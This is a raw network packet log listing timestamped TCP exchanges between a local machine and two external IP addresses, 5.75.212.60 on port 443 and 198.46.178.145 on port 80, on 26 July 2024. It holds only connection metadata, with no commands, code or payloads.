Jul 26, 2024 11:26:56.380975008 CEST	49735	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:56.380983114 CEST	443	49735	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:56.381015062 CEST	49735	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:56.381021023 CEST	49735	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:56.382144928 CEST	443	49735	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:56.382179976 CEST	443	49735	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:56.382208109 CEST	49735	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:56.382215023 CEST	443	49735	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:56.382225037 CEST	49735	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:56.382251024 CEST	49735	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:56.383922100 CEST	443	49735	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:56.383949041 CEST	443	49735	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:56.383969069 CEST	49735	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:56.383971930 CEST	443	49735	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:56.383996964 CEST	49735	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:56.384833097 CEST	49735	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:56.385654926 CEST	443	49735	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:56.385679960 CEST	443	49735	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:56.385698080 CEST	49735	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:56.385701895 CEST	443	49735	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:56.385726929 CEST	49735	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:56.385741949 CEST	49735	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:56.387311935 CEST	443	49735	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:56.387334108 CEST	443	49735	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:56.387358904 CEST	49735	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:56.387363911 CEST	443	49735	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:56.387387037 CEST	49735	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:56.387403011 CEST	49735	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:56.388057947 CEST	443	49735	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:56.388086081 CEST	443	49735	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:56.388102055 CEST	49735	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:56.388107061 CEST	443	49735	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:56.388125896 CEST	49735	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:56.388130903 CEST	443	49735	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:56.388139963 CEST	49735	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:56.388179064 CEST	49735	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:56.390120029 CEST	49735	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:56.390129089 CEST	443	49735	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:57.090379953 CEST	49736	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:57.090421915 CEST	443	49736	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:57.090490103 CEST	49736	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:57.090739965 CEST	49736	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:57.090758085 CEST	443	49736	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:57.752644062 CEST	443	49736	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:57.752706051 CEST	49736	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:57.753233910 CEST	49736	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:57.753243923 CEST	443	49736	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:57.754829884 CEST	49736	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:57.754842043 CEST	443	49736	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:58.412338972 CEST	443	49736	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:58.412358999 CEST	443	49736	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:58.412420988 CEST	443	49736	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:58.412444115 CEST	49736	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:58.412488937 CEST	49736	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:58.412789106 CEST	49736	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:58.412808895 CEST	443	49736	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:58.415589094 CEST	49737	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:58.415627003 CEST	443	49737	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:58.415713072 CEST	49737	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:58.415956974 CEST	49737	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:58.415971041 CEST	443	49737	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:59.446244001 CEST	443	49737	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:59.446343899 CEST	49737	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:59.446899891 CEST	49737	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:59.446906090 CEST	443	49737	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:59.448507071 CEST	49737	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:59.448512077 CEST	443	49737	5.75.212.60	192.168.2.6
Jul 26, 2024 11:27:00.137767076 CEST	443	49737	5.75.212.60	192.168.2.6
Jul 26, 2024 11:27:00.137856007 CEST	443	49737	5.75.212.60	192.168.2.6
Jul 26, 2024 11:27:00.137913942 CEST	49737	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:27:00.137913942 CEST	49737	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:27:00.138329029 CEST	49737	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:27:00.138354063 CEST	443	49737	5.75.212.60	192.168.2.6
Jul 26, 2024 11:27:00.156245947 CEST	49738	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:27:00.156270981 CEST	443	49738	5.75.212.60	192.168.2.6
Jul 26, 2024 11:27:00.156339884 CEST	49738	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:27:00.156614065 CEST	49738	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:27:00.156630993 CEST	443	49738	5.75.212.60	192.168.2.6
Jul 26, 2024 11:27:00.845729113 CEST	443	49738	5.75.212.60	192.168.2.6
Jul 26, 2024 11:27:00.845844030 CEST	49738	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:27:00.846247911 CEST	49738	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:27:00.846261978 CEST	443	49738	5.75.212.60	192.168.2.6
Jul 26, 2024 11:27:00.847893000 CEST	49738	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:27:00.847899914 CEST	443	49738	5.75.212.60	192.168.2.6
Jul 26, 2024 11:27:01.492791891 CEST	443	49738	5.75.212.60	192.168.2.6
Jul 26, 2024 11:27:01.492878914 CEST	49738	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:27:01.492894888 CEST	443	49738	5.75.212.60	192.168.2.6
Jul 26, 2024 11:27:01.492952108 CEST	49738	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:27:01.492985010 CEST	443	49738	5.75.212.60	192.168.2.6
Jul 26, 2024 11:27:01.493031025 CEST	49738	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:27:01.493613958 CEST	49738	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:27:01.493632078 CEST	443	49738	5.75.212.60	192.168.2.6
Jul 26, 2024 11:27:02.166605949 CEST	49739	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:27:02.166656971 CEST	443	49739	5.75.212.60	192.168.2.6
Jul 26, 2024 11:27:02.166759014 CEST	49739	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:27:02.167011023 CEST	49739	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:27:02.167032003 CEST	443	49739	5.75.212.60	192.168.2.6
Jul 26, 2024 11:27:03.265516043 CEST	443	49739	5.75.212.60	192.168.2.6
Jul 26, 2024 11:27:03.265588999 CEST	49739	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:27:03.266002893 CEST	49739	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:27:03.266009092 CEST	443	49739	5.75.212.60	192.168.2.6
Jul 26, 2024 11:27:03.267518997 CEST	49739	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:27:03.267524004 CEST	443	49739	5.75.212.60	192.168.2.6
Jul 26, 2024 11:27:03.993587971 CEST	443	49739	5.75.212.60	192.168.2.6
Jul 26, 2024 11:27:03.993660927 CEST	49739	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:27:03.993664980 CEST	443	49739	5.75.212.60	192.168.2.6
Jul 26, 2024 11:27:03.993726969 CEST	49739	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:27:03.993882895 CEST	49739	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:27:03.993902922 CEST	443	49739	5.75.212.60	192.168.2.6
Jul 26, 2024 11:27:03.997114897 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.002068043 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.002132893 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.002250910 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.007023096 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.548686981 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.548736095 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.548748016 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.548798084 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.548835039 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.548957109 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.548978090 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.548993111 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.548994064 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.549011946 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.549025059 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.549048901 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.549407005 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.549427032 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.549443007 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.549449921 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.549470901 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.549479008 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.554434061 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.554488897 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.554542065 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.554585934 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.637392998 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.637427092 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.637439013 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.637460947 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.637506008 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.637679100 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.637690067 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.637717962 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.640697956 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.640742064 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.640772104 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.640784025 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.640815973 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.640841961 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.640999079 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.641038895 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.641056061 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.641067982 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.641077995 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.641089916 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.641093016 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.641119957 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.641144991 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.641597986 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.641608953 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.641618967 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.641630888 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.641647100 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.641674995 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.643076897 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.643088102 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.643121958 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.643302917 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.643340111 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.643381119 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.643392086 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.643415928 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.643434048 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.728147030 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.728164911 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.728216887 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.728229046 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.728259087 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.728291988 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.728404045 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.728441000 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.728569984 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.728579998 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.728588104 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.728598118 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.728607893 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.728641033 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.729068041 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.729078054 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.729085922 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.729094982 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.729105949 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.729129076 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.729584932 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.729594946 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.729604006 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.729614973 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.729624033 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.729640007 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.729664087 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.730249882 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.730258942 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.730267048 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.730276108 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.730285883 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.730287075 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.730309010 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.730321884 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.730634928 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.730643988 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.730652094 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.730662107 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.730669975 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.730671883 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.730680943 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.730693102 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.730712891 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.731342077 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.731350899 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.731359959 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.731381893 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.731390953 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.731736898 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.731746912 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.731755018 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.731764078 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.731772900 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.731775045 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.731781960 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.731791019 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.731806993 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.731817007 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.732558012 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.732599020 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.819319010 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.819418907 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.819427967 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.819457054 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.819468975 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.819500923 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.819590092 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.819622993 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.819643974 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.819655895 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.819670916 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.819689989 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.819701910 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.819736004 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.820096970 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.820130110 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.820151091 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.820162058 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.820172071 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.820249081 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.820262909 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.820281982 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.820297956 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.820314884 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.820328951 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.820348024 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.820362091 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.820394039 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.821360111 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.821393967 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.821427107 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.821424007 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.821456909 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.821460962 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.821485043 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.821494102 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.821510077 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.821526051 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.821538925 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.821558952 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.821569920 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.821593046 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.821602106 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.821635008 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.821872950 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.821907043 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.821924925 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.821938992 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.821943998 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.821970940 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.821980000 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.822005033 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.822014093 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.822036982 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.822047949 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.822069883 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.822078943 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.822112083 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.822788954 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.822822094 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.822835922 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.822855949 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.822863102 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.822890043 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.822899103 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.822921991 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.822932005 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.822954893 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.822966099 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.822988033 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.822997093 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.823020935 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.823029995 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.823061943 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.823857069 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.823889971 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.823904037 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.823923111 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.823931932 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.823956013 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.823961020 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.823987007 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.824002028 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.824021101 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.824029922 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.824052095 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.824062109 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.824085951 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.824094057 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.824126959 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.824656010 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.824687958 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.824707985 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.824721098 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.824724913 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.824754000 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.824762106 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.824786901 CEST	80	49741	198.46.178.145	192.168.2.6
